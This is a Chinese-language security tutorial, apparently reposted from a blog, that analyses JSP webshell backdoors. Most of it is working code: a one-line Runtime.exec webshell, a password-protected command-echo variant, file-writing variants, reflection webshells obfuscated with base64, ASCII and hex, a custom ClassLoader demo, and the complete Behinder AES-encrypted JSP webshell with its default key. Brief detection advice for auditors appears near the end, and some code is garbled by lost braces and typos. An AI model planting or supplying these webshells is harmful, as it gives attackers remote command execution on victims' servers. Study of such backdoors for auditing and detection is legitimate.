Java安全-Java Web后门学习 Jsp 一句话分析
Posted OceanSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Java安全-Java Web后门学习 Jsp 一句话分析相关的知识,希望对你有一定的参考价值。
文章目录
Java Web后门
Java 是强类型语言,不能够像 php 那样利用字符串组合当作系统函数使用
Java 中常用的命令执行函数
- java.lang.Runtime.exec()
- java.lang.ProcessBuilder.start()
一句话木马
最简单的 jsp 一句话木马
<% Runtime.getRuntime().exec(request.getParameter("i"));%>
其实这就和 PHP 的一句话一样
<?PHP eval($GET_['i']);?>
但是 jsp 一句话没有回显,无法看到返回的信息,通常用来反弹 shell,下面的代码是一个有回显并且需要密码验证的 jsp 木马
<%
if ("ocean".equals(request.getParameter("pwd")))
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1)
out.print(new String(b));
out.print("</pre>");
%>
Runtime
类封装了运行时的环境。每个 Java 应用程序都有一个 Runtime
类实例,使应用程序能够与其运行的环境相连接。使用 getRuntime()
构建 Runtime
类实例。 getRuntime()
返回与当前 Java 应用程序相关的运行时对象。获取实例后调用 exec()
方法执行系统命令
request
为 JSP 内置对象,getParameter()
方法获取请求参数 cmd
的值构建命令
其中:html里的 pre 标签,可定义预格式化的文本。在 pre 元素中的文本会保留空格和换行符。文本显现为等宽字体,经常会在要保持文本格式的时候使用 pre 标签,比如当我们要展示源代码的时候,只要放一个 pre 标签,然后把源代码直接复制,粘贴,然后在页面上就可以保持好格式。不会像放在其它标签里那样,把换行和空格都自动折叠了
执行效果如下
Windows 操作系统中可能会带来乱码问题,可以在文件头加上以下两句解决
<%@ page contentType="text/html;charset=GBK"%>
<%@ page contentType="text/html;charset=gb2312"%>
当然除了把数据回显也可以写入执行文件中
<%new java.io.FileOutputStream(request.getParameter("filename")).wirte(request.getParameter("cmd").getBytes());%>
或者写入 web 目录
<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("filename")).wirte(request.getParameter("cmd").getBytes());%>
这种是最简单的一句话,审计时很容易被发现
反射调用
因为反射可以调用各种私有类方法,所以利用反射的后门比较多
<%@page contentType="text/html; charset=UTF-8" language="java" %>
<%@page import="sun.misc.BASE64Decoder" %>
<%@page import="java.lang.reflect.Method" %>
<%
BASE64Decoder base64Decoder = new BASE64Decoder();
Class runtime = Class.forName(new String(base64Decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
Process method = (Process) runtime.getMethod(new String(base64Decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(runtime.getMethod(new String(base64Decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new Object[]
), request.getParameter("cmd"));
java.io.InputStream in = method.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1)
out.print(new String(b));
out.print("</pre>");
%>
重点就是这段代码
去掉 base64 就是以下代码
Class runtime = Class.forName("java.lang.Runtime");
Process method = (Process) runtime.getMethod("exec",String.class).invoke(runtime.getMethod("getRuntime").invoke(null, new Object[]), request.getParameter("cmd"));
非常经典的反射
没有直接使用调用方法的方式去构造后门,而是采用动态加载的方式,把所要调用的类与函数放到一个字符串的位置,然后利用变形来隐藏关键函数,这里用的是 base64,同理可以使用 hex 和 ascii 的编码绕过
Acsii
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
if(request.getParameter("cmd")!=null)
Class rt = Class.forName(new String(new byte[] 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 ));
Process e = (Process) rt.getMethod(new String(new byte[] 101, 120, 101, 99 ), String.class).invoke(rt.getMethod(new String(new byte[] 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 )).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1) out.println(new String(b)); out.print("</pre>");
%>
Hex
<%@ page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %>
<%
if(request.getParameter("cmd")!=null)
Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("65786563")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;byte[] b = new byte[2048];out.print("<pre>");
while((a=in.read(b))!=-1) out.println(new String(b)); out.print("</pre>");
%>
类加载(冰蝎马实现方式)
对于类加载是直接传送二进制的字节码(动态解析)
java 执行代码的时候要先编译成 .class 字节码的文件才能被 jvm 所执行。如果实现任意 class 文件的加载,相当于实现了 php 中 eval 命令执行函数,即可以做到将字符串作为代码来执行
Demo
-
新建文件 Calc.java 首先写一个命令执行的类,调用 calc
import java.io.IOException; public class Calc @Override public String toString() try Runtime.getRuntime().exec("calc.exe"); catch (IOException e) e.printStackTrace(); return "OK";
然后使用命令编译生成字节码文件
javac .\\Calc.java
-
主运行程序类 Loader
import sun.misc.BASE64Decoder; import sun.misc.BASE64Encoder; import java.io.File; import java.io.FileInputStream; public class Loader //实现二进制文件转成base64 public static String encodeBase64File(String path) throws Exception File file = new File(path); ; FileInputStream inputFile = new FileInputStream(file); byte[] buffer = new byte[(int) file.length()]; inputFile.read(buffer); inputFile.close(); return new BASE64Encoder().encode(buffer); public static class Myloader extends ClassLoader //继承ClassLoader public Class get(byte[] b) return super.defineClass(b, 0, b.length); public static void main(String[] args) throws Exception String classStr = "yv66vgAAADQAKQoACQAZCgAaABsIABwKABoAHQcAHgoABQAfCAAgBwAhBwAiAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMb2JmdXNjYXRlL0NhbGM7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAeAQAKU291cmNlRmlsZQEACUNhbGMuamF2YQwACgALBwAjDAAkACUBAAhjYWxjLmV4ZQwAJgAnAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAKAALAQACT0sBAA5vYmZ1c2NhdGUvQ2FsYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEACAAJAAAAAAACAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAABAAOAAAADAABAAAABQAPABAAAAABABEAEgABAAwAAABtAAIAAgAAABS4AAISA7YABFenAAhMK7YABhIHsAABAAAACQAMAAUAAwANAAAAFgAFAAAACAAJAAsADAAJAA0ACgARAAwADgAAABYAAgANAAQAEwAUAAEAAAAUAA8AEAAAABUAAAAHAAJMBwAWBAABABcAAAACABg="; // Calc.class的base64编码 BASE64Decoder code = new sun.misc.BASE64Decoder(); // String re = encodeBase64File("C:\\\\Users\\\\q2723\\\\Desktop\\\\Calc.class"); // System.out.println(re); Class result = new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数 System.out.println(result.newInstance().toString());
注意修改 class 文件所在位置
成功执行系统命令
代码重点就在红框中,正常情况下,Java 并没有提供直接解析 class 字节数组的接口。不过 classloader 内部实现了一个 protected 的 defineClass 方法,可以将 byte[] 直接转换为 Class,因为该方法是 protected 的,我们没办法在外部直接调用,可以通过直接自定义一个类继承 classloader,然后在子类中调用父类的 defineClass 方法
这样传入的二进制字节码 class 文件直接就加载执行了,真的有点 PHP EVAL 的感觉了
这个 Demo 就是冰蝎实现服务端(即上传到目标机器的 jsp 马)的原型,具体可以看这篇文章:利用动态二进制加密实现新型一句话木马之Java篇
作者在进行简化成了一行,这就是现在用的冰蝎的 jsp 马,具有动态解密功能的、能解析执行任意二进制流的新型一句话木马
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoaderU(ClassLoader c)super(c);public Class g(byte []b)return super.defineClass(b,0,b.length);%><%if (request.getMethod().equals("POST"))String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
对于此类后门通常采用后门扫描工具检测,人工审计时要关注加密函数 BASE64Decoder() 以及 SecretKeySpec()
ELSE
-
JDK 新特性
利用 Lambda 表达式编写的 JSP 一句话木马
访问接口中的默认方法 Reduce 来编写 JSP 一句话木马
-
各种表达式
-
内存马
可以看参考文章,其中提及了很多方式
参考
《Java 代码审计入门》
以上是关于Java安全-Java Web后门学习 Jsp 一句话分析的主要内容,如果未能解决你的问题,请参考以下文章